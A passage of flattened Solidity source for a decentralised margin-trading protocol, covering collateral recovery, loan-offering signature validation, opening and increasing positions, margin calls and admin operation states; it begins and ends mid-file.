bytes32 indexed positionId,
address indexed recipient,
uint256 amount
);
function forceRecoverCollateralImpl(
MarginState.State storage state,
bytes32 positionId,
address recipient
)
public
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
(
position.callTimestamp > 0
&& block.timestamp >= uint256(position.callTimestamp).add(position.callTimeLimit)
) || (
block.timestamp >= uint256(position.startTimestamp).add(position.maxDuration)
),
"ForceRecoverCollateralImpl#forceRecoverCollateralImpl: Cannot recover yet"
);
forceRecoverCollateralOnBehalfOfRecurse(
position.lender,
msg.sender,
positionId,
recipient
);
uint256 heldTokenRecovered = MarginCommon.getPositionBalanceImpl(state, positionId);
Vault(state.VAULT).transferFromVault(
positionId,
position.heldToken,
recipient,
heldTokenRecovered
);
MarginCommon.cleanupPosition(
state,
positionId
);
emit CollateralForceRecovered(
positionId,
recipient,
heldTokenRecovered
);
return heldTokenRecovered;
}
function forceRecoverCollateralOnBehalfOfRecurse(
address contractAddr,
address recoverer,
bytes32 positionId,
address recipient
)
private
{
if (recoverer == contractAddr) {
return;
}
address newContractAddr =
ForceRecoverCollateralDelegator(contractAddr).forceRecoverCollateralOnBehalfOf(
recoverer,
positionId,
recipient
);
if (newContractAddr != contractAddr) {
forceRecoverCollateralOnBehalfOfRecurse(
newContractAddr,
recoverer,
positionId,
recipient
);
}
}
}
library TypedSignature {
uint8 private constant SIGTYPE_INVALID = 0;
uint8 private constant SIGTYPE_ECRECOVER_DEC = 1;
uint8 private constant SIGTYPE_ECRECOVER_HEX = 2;
uint8 private constant SIGTYPE_UNSUPPORTED = 3;
bytes constant private PREPEND_HEX = "\x19Ethereum Signed Message:\n\x20";
bytes constant private PREPEND_DEC = "\x19Ethereum Signed Message:\n32";
function recover(
bytes32 hash,
bytes signatureWithType
)
internal
pure
returns (address)
{
require(
signatureWithType.length == 66,
"SignatureValidator#validateSignature: invalid signature length"
);
uint8 sigType = uint8(signatureWithType[0]);
require(
sigType > uint8(SIGTYPE_INVALID),
"SignatureValidator#validateSignature: invalid signature type"
);
require(
sigType < uint8(SIGTYPE_UNSUPPORTED),
"SignatureValidator#validateSignature: unsupported signature type"
);
uint8 v = uint8(signatureWithType[1]);
bytes32 r;
bytes32 s;
assembly {
r := mload(add(signatureWithType, 34))
s := mload(add(signatureWithType, 66))
}
bytes32 signedHash;
if (sigType == SIGTYPE_ECRECOVER_DEC) {
signedHash = keccak256(abi.encodePacked(PREPEND_DEC, hash));
} else {
assert(sigType == SIGTYPE_ECRECOVER_HEX);
signedHash = keccak256(abi.encodePacked(PREPEND_HEX, hash));
}
return ecrecover(
signedHash,
v,
r,
s
);
}
}
interface LoanOfferingVerifier {
function verifyLoanOffering(
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
bytes32 positionId,
bytes signature
)
external
returns (address);
}
library BorrowShared {
using SafeMath for uint256;
struct Tx {
bytes32 positionId;
address owner;
uint256 principal;
uint256 lenderAmount;
MarginCommon.LoanOffering loanOffering;
address exchangeWrapper;
bool depositInHeldToken;
uint256 depositAmount;
uint256 collateralAmount;
uint256 heldTokenFromSell;
}
function validateTxPreSell(
MarginState.State storage state,
Tx memory transaction
)
internal
{
assert(transaction.lenderAmount >= transaction.principal);
require(
transaction.principal > 0,
"BorrowShared#validateTxPreSell: Positions with 0 principal are not allowed"
);
if (transaction.loanOffering.taker != address(0)) {
require(
msg.sender == transaction.loanOffering.taker,
"BorrowShared#validateTxPreSell: Invalid loan offering taker"
);
}
if (transaction.loanOffering.positionOwner != address(0)) {
require(
transaction.owner == transaction.loanOffering.positionOwner,
"BorrowShared#validateTxPreSell: Invalid position owner"
);
}
if (AddressUtils.isContract(transaction.loanOffering.payer)) {
getConsentFromSmartContractLender(transaction);
} else {
require(
transaction.loanOffering.payer == TypedSignature.recover(
transaction.loanOffering.loanHash,
transaction.loanOffering.signature
),
"BorrowShared#validateTxPreSell: Invalid loan offering signature"
);
}
uint256 unavailable = MarginCommon.getUnavailableLoanOfferingAmountImpl(
state,
transaction.loanOffering.loanHash
);
require(
transaction.lenderAmount.add(unavailable) <= transaction.loanOffering.rates.maxAmount,
"BorrowShared#validateTxPreSell: Loan offering does not have enough available"
);
require(
transaction.lenderAmount >= transaction.loanOffering.rates.minAmount,
"BorrowShared#validateTxPreSell: Lender amount is below loan offering minimum amount"
);
require(
transaction.loanOffering.owedToken != transaction.loanOffering.heldToken,
"BorrowShared#validateTxPreSell: owedToken cannot be equal to heldToken"
);
require(
transaction.owner != address(0),
"BorrowShared#validateTxPreSell: Position owner cannot be 0"
);
require(
transaction.loanOffering.owner != address(0),
"BorrowShared#validateTxPreSell: Loan owner cannot be 0"
);
require(
transaction.loanOffering.expirationTimestamp > block.timestamp,
"BorrowShared#validateTxPreSell: Loan offering is expired"
);
require(
transaction.loanOffering.maxDuration > 0,
"BorrowShared#validateTxPreSell: Loan offering has 0 maximum duration"
);
require(
transaction.loanOffering.rates.interestPeriod <= transaction.loanOffering.maxDuration,
"BorrowShared#validateTxPreSell: Loan offering interestPeriod > maxDuration"
);
}
function doPostSell(
MarginState.State storage state,
Tx memory transaction
)
internal
{
validateTxPostSell(transaction);
transferLoanFees(state, transaction);
state.loanFills[transaction.loanOffering.loanHash] =
state.loanFills[transaction.loanOffering.loanHash].add(transaction.lenderAmount);
}
function doSell(
MarginState.State storage state,
Tx transaction,
bytes orderData,
uint256 maxHeldTokenToBuy
)
internal
returns (uint256)
{
pullOwedTokensFromLender(state, transaction);
uint256 sellAmount = transaction.depositInHeldToken ?
transaction.lenderAmount :
transaction.lenderAmount.add(transaction.depositAmount);
uint256 heldTokenFromSell = Math.min256(
maxHeldTokenToBuy,
ExchangeWrapper(transaction.exchangeWrapper).exchange(
msg.sender,
state.TOKEN_PROXY,
transaction.loanOffering.heldToken,
transaction.loanOffering.owedToken,
sellAmount,
orderData
)
);
Vault(state.VAULT).transferToVault(
transaction.positionId,
transaction.loanOffering.heldToken,
transaction.exchangeWrapper,
heldTokenFromSell
);
transaction.collateralAmount = transaction.collateralAmount.add(heldTokenFromSell);
return heldTokenFromSell;
}
function doDepositOwedToken(
MarginState.State storage state,
Tx transaction
)
internal
{
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.loanOffering.owedToken,
msg.sender,
transaction.exchangeWrapper,
transaction.depositAmount
);
}
function doDepositHeldToken(
MarginState.State storage state,
Tx transaction
)
internal
{
Vault(state.VAULT).transferToVault(
transaction.positionId,
transaction.loanOffering.heldToken,
msg.sender,
transaction.depositAmount
);
transaction.collateralAmount = transaction.collateralAmount.add(transaction.depositAmount);
}
function validateTxPostSell(
Tx transaction
)
private
pure
{
uint256 expectedCollateral = transaction.depositInHeldToken ?
transaction.heldTokenFromSell.add(transaction.depositAmount) :
transaction.heldTokenFromSell;
assert(transaction.collateralAmount == expectedCollateral);
uint256 loanOfferingMinimumHeldToken = MathHelpers.getPartialAmountRoundedUp(
transaction.lenderAmount,
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.minHeldToken
);
require(
transaction.collateralAmount >= loanOfferingMinimumHeldToken,
"BorrowShared#validateTxPostSell: Loan offering minimum held token not met"
);
}
function getConsentFromSmartContractLender(
Tx transaction
)
private
{
verifyLoanOfferingRecurse(
transaction.loanOffering.payer,
getLoanOfferingAddresses(transaction),
getLoanOfferingValues256(transaction),
getLoanOfferingValues32(transaction),
transaction.positionId,
transaction.loanOffering.signature
);
}
function verifyLoanOfferingRecurse(
address contractAddr,
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
bytes32 positionId,
bytes signature
)
private
{
address newContractAddr = LoanOfferingVerifier(contractAddr).verifyLoanOffering(
addresses,
values256,
values32,
positionId,
signature
);
if (newContractAddr != contractAddr) {
verifyLoanOfferingRecurse(
newContractAddr,
addresses,
values256,
values32,
positionId,
signature
);
}
}
function pullOwedTokensFromLender(
MarginState.State storage state,
Tx transaction
)
private
{
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.loanOffering.owedToken,
transaction.loanOffering.payer,
transaction.exchangeWrapper,
transaction.lenderAmount
);
}
function transferLoanFees(
MarginState.State storage state,
Tx transaction
)
private
{
if (transaction.loanOffering.feeRecipient == address(0)) {
return;
}
TokenProxy proxy = TokenProxy(state.TOKEN_PROXY);
uint256 lenderFee = MathHelpers.getPartialAmount(
transaction.lenderAmount,
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.lenderFee
);
uint256 takerFee = MathHelpers.getPartialAmount(
transaction.lenderAmount,
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.takerFee
);
if (lenderFee > 0) {
proxy.transferTokens(
transaction.loanOffering.lenderFeeToken,
transaction.loanOffering.payer,
transaction.loanOffering.feeRecipient,
lenderFee
);
}
if (takerFee > 0) {
proxy.transferTokens(
transaction.loanOffering.takerFeeToken,
msg.sender,
transaction.loanOffering.feeRecipient,
takerFee
);
}
}
function getLoanOfferingAddresses(
Tx transaction
)
private
pure
returns (address[9])
{
return [
transaction.loanOffering.owedToken,
transaction.loanOffering.heldToken,
transaction.loanOffering.payer,
transaction.loanOffering.owner,
transaction.loanOffering.taker,
transaction.loanOffering.positionOwner,
transaction.loanOffering.feeRecipient,
transaction.loanOffering.lenderFeeToken,
transaction.loanOffering.takerFeeToken
];
}
function getLoanOfferingValues256(
Tx transaction
)
private
pure
returns (uint256[7])
{
return [
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.minAmount,
transaction.loanOffering.rates.minHeldToken,
transaction.loanOffering.rates.lenderFee,
transaction.loanOffering.rates.takerFee,
transaction.loanOffering.expirationTimestamp,
transaction.loanOffering.salt
];
}
function getLoanOfferingValues32(
Tx transaction
)
private
pure
returns (uint32[4])
{
return [
transaction.loanOffering.callTimeLimit,
transaction.loanOffering.maxDuration,
transaction.loanOffering.rates.interestRate,
transaction.loanOffering.rates.interestPeriod
];
}
}
interface IncreaseLoanDelegator {
function increaseLoanOnBehalfOf(
address payer,
bytes32 positionId,
uint256 principalAdded,
uint256 lentAmount
)
external
returns (address);
}
interface IncreasePositionDelegator {
function increasePositionOnBehalfOf(
address trader,
bytes32 positionId,
uint256 principalAdded
)
external
returns (address);
}
library IncreasePositionImpl {
using SafeMath for uint256;
event PositionIncreased(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
address positionOwner,
address loanOwner,
bytes32 loanHash,
address loanFeeRecipient,
uint256 amountBorrowed,
uint256 principalAdded,
uint256 heldTokenFromSell,
uint256 depositAmount,
bool depositInHeldToken
);
function increasePositionImpl(
MarginState.State storage state,
bytes32 positionId,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bool depositInHeldToken,
bytes signature,
bytes orderData
)
public
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
BorrowShared.Tx memory transaction = parseIncreasePositionTx(
position,
positionId,
addresses,
values256,
values32,
depositInHeldToken,
signature
);
validateIncrease(state, transaction, position);
doBorrowAndSell(state, transaction, orderData);
updateState(
position,
transaction.positionId,
transaction.principal,
transaction.lenderAmount,
transaction.loanOffering.payer
);
recordPositionIncreased(transaction, position);
return transaction.lenderAmount;
}
function increaseWithoutCounterpartyImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 principalToAdd
)
public
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
principalToAdd > 0,
"IncreasePositionImpl#increaseWithoutCounterpartyImpl: Cannot add 0 principal"
);
require(
block.timestamp < uint256(position.startTimestamp).add(position.maxDuration),
"IncreasePositionImpl#increaseWithoutCounterpartyImpl: Cannot increase after maxDuration"
);
uint256 heldTokenAmount = getCollateralNeededForAddedPrincipal(
state,
position,
positionId,
principalToAdd
);
Vault(state.VAULT).transferToVault(
positionId,
position.heldToken,
msg.sender,
heldTokenAmount
);
updateState(
position,
positionId,
principalToAdd,
0,
msg.sender
);
emit PositionIncreased(
positionId,
msg.sender,
msg.sender,
position.owner,
position.lender,
"",
address(0),
0,
principalToAdd,
0,
heldTokenAmount,
true
);
return heldTokenAmount;
}
function doBorrowAndSell(
MarginState.State storage state,
BorrowShared.Tx memory transaction,
bytes orderData
)
private
{
uint256 collateralToAdd = getCollateralNeededForAddedPrincipal(
state,
state.positions[transaction.positionId],
transaction.positionId,
transaction.principal
);
BorrowShared.validateTxPreSell(state, transaction);
uint256 maxHeldTokenFromSell = MathHelpers.maxUint256();
if (!transaction.depositInHeldToken) {
transaction.depositAmount =
getOwedTokenDeposit(transaction, collateralToAdd, orderData);
BorrowShared.doDepositOwedToken(state, transaction);
maxHeldTokenFromSell = collateralToAdd;
}
transaction.heldTokenFromSell = BorrowShared.doSell(
state,
transaction,
orderData,
maxHeldTokenFromSell
);
if (transaction.depositInHeldToken) {
require(
transaction.heldTokenFromSell <= collateralToAdd,
"IncreasePositionImpl#doBorrowAndSell: DEX order gives too much heldToken"
);
transaction.depositAmount = collateralToAdd.sub(transaction.heldTokenFromSell);
BorrowShared.doDepositHeldToken(state, transaction);
}
assert(transaction.collateralAmount == collateralToAdd);
BorrowShared.doPostSell(state, transaction);
}
function getOwedTokenDeposit(
BorrowShared.Tx transaction,
uint256 collateralToAdd,
bytes orderData
)
private
view
returns (uint256)
{
uint256 totalOwedToken = ExchangeWrapper(transaction.exchangeWrapper).getExchangeCost(
transaction.loanOffering.heldToken,
transaction.loanOffering.owedToken,
collateralToAdd,
orderData
);
require(
transaction.lenderAmount <= totalOwedToken,
"IncreasePositionImpl#getOwedTokenDeposit: Lender amount is more than required"
);
return totalOwedToken.sub(transaction.lenderAmount);
}
function validateIncrease(
MarginState.State storage state,
BorrowShared.Tx transaction,
MarginCommon.Position storage position
)
private
view
{
assert(MarginCommon.containsPositionImpl(state, transaction.positionId));
require(
position.callTimeLimit <= transaction.loanOffering.callTimeLimit,
"IncreasePositionImpl#validateIncrease: Loan callTimeLimit is less than the position"
);
uint256 positionEndTimestamp = uint256(position.startTimestamp).add(position.maxDuration);
uint256 offeringEndTimestamp = block.timestamp.add(transaction.loanOffering.maxDuration);
require(
positionEndTimestamp <= offeringEndTimestamp,
"IncreasePositionImpl#validateIncrease: Loan end timestamp is less than the position"
);
require(
block.timestamp < positionEndTimestamp,
"IncreasePositionImpl#validateIncrease: Position has passed its maximum duration"
);
}
function getCollateralNeededForAddedPrincipal(
MarginState.State storage state,
MarginCommon.Position storage position,
bytes32 positionId,
uint256 principalToAdd
)
private
view
returns (uint256)
{
uint256 heldTokenBalance = MarginCommon.getPositionBalanceImpl(state, positionId);
return MathHelpers.getPartialAmountRoundedUp(
principalToAdd,
position.principal,
heldTokenBalance
);
}
function updateState(
MarginCommon.Position storage position,
bytes32 positionId,
uint256 principalAdded,
uint256 owedTokenLent,
address loanPayer
)
private
{
position.principal = position.principal.add(principalAdded);
address owner = position.owner;
address lender = position.lender;
increasePositionOnBehalfOfRecurse(
owner,
msg.sender,
positionId,
principalAdded
);
increaseLoanOnBehalfOfRecurse(
lender,
loanPayer,
positionId,
principalAdded,
owedTokenLent
);
}
function increasePositionOnBehalfOfRecurse(
address contractAddr,
address trader,
bytes32 positionId,
uint256 principalAdded
)
private
{
if (trader == contractAddr && !AddressUtils.isContract(contractAddr)) {
return;
}
address newContractAddr =
IncreasePositionDelegator(contractAddr).increasePositionOnBehalfOf(
trader,
positionId,
principalAdded
);
if (newContractAddr != contractAddr) {
increasePositionOnBehalfOfRecurse(
newContractAddr,
trader,
positionId,
principalAdded
);
}
}
function increaseLoanOnBehalfOfRecurse(
address contractAddr,
address payer,
bytes32 positionId,
uint256 principalAdded,
uint256 amountLent
)
private
{
if (payer == contractAddr && !AddressUtils.isContract(contractAddr)) {
return;
}
address newContractAddr =
IncreaseLoanDelegator(contractAddr).increaseLoanOnBehalfOf(
payer,
positionId,
principalAdded,
amountLent
);
if (newContractAddr != contractAddr) {
increaseLoanOnBehalfOfRecurse(
newContractAddr,
payer,
positionId,
principalAdded,
amountLent
);
}
}
function recordPositionIncreased(
BorrowShared.Tx transaction,
MarginCommon.Position storage position
)
private
{
emit PositionIncreased(
transaction.positionId,
msg.sender,
transaction.loanOffering.payer,
position.owner,
position.lender,
transaction.loanOffering.loanHash,
transaction.loanOffering.feeRecipient,
transaction.lenderAmount,
transaction.principal,
transaction.heldTokenFromSell,
transaction.depositAmount,
transaction.depositInHeldToken
);
}
function parseIncreasePositionTx(
MarginCommon.Position storage position,
bytes32 positionId,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bool depositInHeldToken,
bytes signature
)
private
view
returns (BorrowShared.Tx memory)
{
uint256 principal = values256[7];
uint256 lenderAmount = MarginCommon.calculateLenderAmountForIncreasePosition(
position,
principal,
block.timestamp
);
assert(lenderAmount >= principal);
BorrowShared.Tx memory transaction = BorrowShared.Tx({
positionId: positionId,
owner: position.owner,
principal: principal,
lenderAmount: lenderAmount,
loanOffering: parseLoanOfferingFromIncreasePositionTx(
position,
addresses,
values256,
values32,
signature
),
exchangeWrapper: addresses[6],
depositInHeldToken: depositInHeldToken,
depositAmount: 0,
collateralAmount: 0,
heldTokenFromSell: 0
});
return transaction;
}
function parseLoanOfferingFromIncreasePositionTx(
MarginCommon.Position storage position,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bytes signature
)
private
view
returns (MarginCommon.LoanOffering memory)
{
MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({
owedToken: position.owedToken,
heldToken: position.heldToken,
payer: addresses[0],
owner: position.lender,
taker: addresses[1],
positionOwner: addresses[2],
feeRecipient: addresses[3],
lenderFeeToken: addresses[4],
takerFeeToken: addresses[5],
rates: parseLoanOfferingRatesFromIncreasePositionTx(position, values256),
expirationTimestamp: values256[5],
callTimeLimit: values32[0],
maxDuration: values32[1],
salt: values256[6],
loanHash: 0,
signature: signature
});
loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering);
return loanOffering;
}
function parseLoanOfferingRatesFromIncreasePositionTx(
MarginCommon.Position storage position,
uint256[8] values256
)
private
view
returns (MarginCommon.LoanRates memory)
{
MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({
maxAmount: values256[0],
minAmount: values256[1],
minHeldToken: values256[2],
lenderFee: values256[3],
takerFee: values256[4],
interestRate: position.interestRate,
interestPeriod: position.interestPeriod
});
return rates;
}
}
contract MarginStorage {
MarginState.State state;
}
contract LoanGetters is MarginStorage {
function getLoanUnavailableAmount(
bytes32 loanHash
)
external
view
returns (uint256)
{
return MarginCommon.getUnavailableLoanOfferingAmountImpl(state, loanHash);
}
function getLoanFilledAmount(
bytes32 loanHash
)
external
view
returns (uint256)
{
return state.loanFills[loanHash];
}
function getLoanCanceledAmount(
bytes32 loanHash
)
external
view
returns (uint256)
{
return state.loanCancels[loanHash];
}
}
interface CancelMarginCallDelegator {
function cancelMarginCallOnBehalfOf(
address canceler,
bytes32 positionId
)
external
returns (address);
}
interface MarginCallDelegator {
function marginCallOnBehalfOf(
address caller,
bytes32 positionId,
uint256 depositAmount
)
external
returns (address);
}
library LoanImpl {
using SafeMath for uint256;
event MarginCallInitiated(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 requiredDeposit
);
event MarginCallCanceled(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 depositAmount
);
event LoanOfferingCanceled(
bytes32 indexed loanHash,
address indexed payer,
address indexed feeRecipient,
uint256 cancelAmount
);
function marginCallImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 requiredDeposit
)
public
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
position.callTimestamp == 0,
"LoanImpl#marginCallImpl: The position has already been margin-called"
);
marginCallOnBehalfOfRecurse(
position.lender,
msg.sender,
positionId,
requiredDeposit
);
position.callTimestamp = TimestampHelper.getBlockTimestamp32();
position.requiredDeposit = requiredDeposit;
emit MarginCallInitiated(
positionId,
position.lender,
position.owner,
requiredDeposit
);
}
function cancelMarginCallImpl(
MarginState.State storage state,
bytes32 positionId
)
public
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
position.callTimestamp > 0,
"LoanImpl#cancelMarginCallImpl: Position has not been margin-called"
);
cancelMarginCallOnBehalfOfRecurse(
position.lender,
msg.sender,
positionId
);
state.positions[positionId].callTimestamp = 0;
state.positions[positionId].requiredDeposit = 0;
emit MarginCallCanceled(
positionId,
position.lender,
position.owner,
0
);
}
function cancelLoanOfferingImpl(
MarginState.State storage state,
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
uint256 cancelAmount
)
public
returns (uint256)
{
MarginCommon.LoanOffering memory loanOffering = parseLoanOffering(
addresses,
values256,
values32
);
require(
msg.sender == loanOffering.payer,
"LoanImpl#cancelLoanOfferingImpl: Only loan offering payer can cancel"
);
require(
loanOffering.expirationTimestamp > block.timestamp,
"LoanImpl#cancelLoanOfferingImpl: Loan offering has already expired"
);
uint256 remainingAmount = loanOffering.rates.maxAmount.sub(
MarginCommon.getUnavailableLoanOfferingAmountImpl(state, loanOffering.loanHash)
);
uint256 amountToCancel = Math.min256(remainingAmount, cancelAmount);
if (amountToCancel == 0) {
return 0;
}
state.loanCancels[loanOffering.loanHash] =
state.loanCancels[loanOffering.loanHash].add(amountToCancel);
emit LoanOfferingCanceled(
loanOffering.loanHash,
loanOffering.payer,
loanOffering.feeRecipient,
amountToCancel
);
return amountToCancel;
}
function marginCallOnBehalfOfRecurse(
address contractAddr,
address who,
bytes32 positionId,
uint256 requiredDeposit
)
private
{
if (who == contractAddr) {
return;
}
address newContractAddr =
MarginCallDelegator(contractAddr).marginCallOnBehalfOf(
msg.sender,
positionId,
requiredDeposit
);
if (newContractAddr != contractAddr) {
marginCallOnBehalfOfRecurse(
newContractAddr,
who,
positionId,
requiredDeposit
);
}
}
function cancelMarginCallOnBehalfOfRecurse(
address contractAddr,
address who,
bytes32 positionId
)
private
{
if (who == contractAddr) {
return;
}
address newContractAddr =
CancelMarginCallDelegator(contractAddr).cancelMarginCallOnBehalfOf(
msg.sender,
positionId
);
if (newContractAddr != contractAddr) {
cancelMarginCallOnBehalfOfRecurse(
newContractAddr,
who,
positionId
);
}
}
function parseLoanOffering(
address[9] addresses,
uint256[7] values256,
uint32[4] values32
)
private
view
returns (MarginCommon.LoanOffering memory)
{
MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({
owedToken: addresses[0],
heldToken: addresses[1],
payer: addresses[2],
owner: addresses[3],
taker: addresses[4],
positionOwner: addresses[5],
feeRecipient: addresses[6],
lenderFeeToken: addresses[7],
takerFeeToken: addresses[8],
rates: parseLoanOfferRates(values256, values32),
expirationTimestamp: values256[5],
callTimeLimit: values32[0],
maxDuration: values32[1],
salt: values256[6],
loanHash: 0,
signature: new bytes(0)
});
loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering);
return loanOffering;
}
function parseLoanOfferRates(
uint256[7] values256,
uint32[4] values32
)
private
pure
returns (MarginCommon.LoanRates memory)
{
MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({
maxAmount: values256[0],
minAmount: values256[1],
minHeldToken: values256[2],
interestRate: values32[2],
lenderFee: values256[3],
takerFee: values256[4],
interestPeriod: values32[3]
});
return rates;
}
}
contract MarginAdmin is Ownable {
uint8 private constant OPERATION_STATE_OPERATIONAL = 0;
uint8 private constant OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY = 1;
uint8 private constant OPERATION_STATE_CLOSE_ONLY = 2;
uint8 private constant OPERATION_STATE_CLOSE_DIRECTLY_ONLY = 3;
uint8 private constant OPERATION_STATE_INVALID = 4;
event OperationStateChanged(
uint8 from,
uint8 to
);
uint8 public operationState;
constructor()
public
Ownable()
{
operationState = OPERATION_STATE_OPERATIONAL;
}
modifier onlyWhileOperational() {
require(
operationState == OPERATION_STATE_OPERATIONAL,
"MarginAdmin#onlyWhileOperational: Can only call while operational"
);
_;
}
modifier cancelLoanOfferingStateControl() {
require(
operationState == OPERATION_STATE_OPERATIONAL
|| operationState == OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY,
"MarginAdmin#cancelLoanOfferingStateControl: Invalid operation state"
);
_;
}
modifier closePositionStateControl() {
require(
operationState == OPERATION_STATE_OPERATIONAL
|| operationState == OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY
|| operationState == OPERATION_STATE_CLOSE_ONLY,
"MarginAdmin#closePositionStateControl: Invalid operation state"
);
_;
}
modifier closePositionDirectlyStateControl() {
_;
}
function setOperationState(
uint8 newState
)
external
onlyOwner
{
require(
newState < OPERATION_STATE_INVALID,
"MarginAdmin#setOperationState: newState is not a valid operation state"
);
if (newState != operationState) {
emit OperationStateChanged(
operationState,
newState
);
operationState = newState;
}
}
}
contract MarginEvents {
event PositionOpened(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
bytes32 loanHash,
address owedToken,
address heldToken,
address loanFeeRecipient,
uint256 principal,
uint256 heldTokenFromSell,
uint256 depositAmount,
uint256 interestRate,
uint32 callTimeLimit,
uint32 maxDuration,
bool depositInHeldToken
);
event PositionIncreased(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
address positionOwner,
address loanOwner,
bytes32 loanHash,
address loanFeeRecipient,
uint256 amountBorrowed,
uint256 principalAdded,
uint256 heldTokenFromSell,
uint256 depositAmount,
bool depositInHeldToken
);
event PositionClosed(
bytes32 indexed positionId,
address indexed closer,
address indexed payoutRecipient,
uint256 closeAmount,
uint256 remainingAmount,
uint256 owedTokenPaidToLender,
uint256 payoutAmount,
uint256 buybackCostInHeldToken,
bool payoutInHeldToken
);
event CollateralForceRecovered(
bytes32 indexed positionId,
address indexed recipient,
uint256 amount
);
event MarginCallInitiated(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 requiredDeposit
);
event MarginCallCanceled(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 depositAmount
);
event LoanOfferingCanceled(
bytes32 indexed loanHash,
address indexed payer,
address indexed feeRecipient,
uint256 cancelAmount
);
event AdditionalCollateralDeposited(
bytes32 indexed positionId,
uint256 amount,
address depositor
);
event LoanTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
event PositionTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
}
library OpenPositionImpl {
using SafeMath for uint256;
event PositionOpened(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
bytes32 loanHash,
address owedToken,
address heldToken,
address loanFeeRecipient,
uint256 principal,
uint256 heldTokenFromSell,
uint256 depositAmount,
uint256 interestRate,
uint32 callTimeLimit,
uint32 maxDuration,
bool depositInHeldToken
);
function openPositionImpl(
MarginState.State storage state,
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bool depositInHeldToken,
bytes signature,
bytes orderData
)
public
returns (bytes32)
{
BorrowShared.Tx memory transaction = parseOpenTx(
addresses,
values256,
values32,
depositInHeldToken,
signature
);
require(
!MarginCommon.positionHasExisted(state, transaction.positionId),
"OpenPositionImpl#openPositionImpl: positionId already exists"
);
doBorrowAndSell(state, transaction, orderData);
recordPositionOpened(
transaction
);
doStoreNewPosition(
state,
transaction
);
return transaction.positionId;
}
function doBorrowAndSell(
MarginState.State storage state,
BorrowShared.Tx memory transaction,
bytes orderData
)
private
{
BorrowShared.validateTxPreSell(state, transaction);
if (transaction.depositInHeldToken) {
BorrowShared.doDepositHeldToken(state, transaction);
} else {
BorrowShared.doDepositOwedToken(state, transaction);
}
transaction.heldTokenFromSell = BorrowShared.doSell(
state,
transaction,
orderData,
MathHelpers.maxUint256()
);
BorrowShared.doPostSell(state, transaction);
}
function doStoreNewPosition(
MarginState.State storage state,
BorrowShared.Tx memory transaction
)
private
{
MarginCommon.storeNewPosition(
state,
transaction.positionId,
MarginCommon.Position({
owedToken: transaction.loanOffering.owedToken,
heldToken: transaction.loanOffering.heldToken,
lender: transaction.loanOffering.owner,
owner: transaction.owner,
principal: transaction.principal,
requiredDeposit: 0,
callTimeLimit: transaction.loanOffering.callTimeLimit,
startTimestamp: 0,
callTimestamp: 0,
maxDuration: transaction.loanOffering.maxDuration,
interestRate: transaction.loanOffering.rates.interestRate,
interestPeriod: transaction.loanOffering.rates.interestPeriod
}),
transaction.loanOffering.payer
);
}
function recordPositionOpened(
BorrowShared.Tx transaction
)
private
{
emit PositionOpened(
transaction.positionId,
msg.sender,
transaction.loanOffering.payer,
transaction.loanOffering.loanHash,
transaction.loanOffering.owedToken,
transaction.loanOffering.heldToken,
transaction.loanOffering.feeRecipient,
transaction.principal,
transaction.heldTokenFromSell,
transaction.depositAmount,
transaction.loanOffering.rates.interestRate,
transaction.loanOffering.callTimeLimit,
transaction.loanOffering.maxDuration,
transaction.depositInHeldToken
);
}
function parseOpenTx(
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bool depositInHeldToken,
bytes signature
)
private
view
returns (BorrowShared.Tx memory)
{
BorrowShared.Tx memory transaction = BorrowShared.Tx({
positionId: MarginCommon.getPositionIdFromNonce(values256[9]),
owner: addresses[0],
principal: values256[7],
lenderAmount: values256[7],
loanOffering: parseLoanOffering(
addresses,
values256,
values32,
signature
),
exchangeWrapper: addresses[10],
depositInHeldToken: depositInHeldToken,
depositAmount: values256[8],
collateralAmount: 0,
heldTokenFromSell: 0
});
return transaction;
}
function parseLoanOffering(
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bytes signature
)
private
view
returns (MarginCommon.LoanOffering memory)
{
MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({
owedToken: addresses[1],
heldToken: addresses[2],
payer: addresses[3],
owner: addresses[4],
taker: addresses[5],
positionOwner: addresses[6],
feeRecipient: addresses[7],
lenderFeeToken: addresses[8],
takerFeeToken: addresses[9],
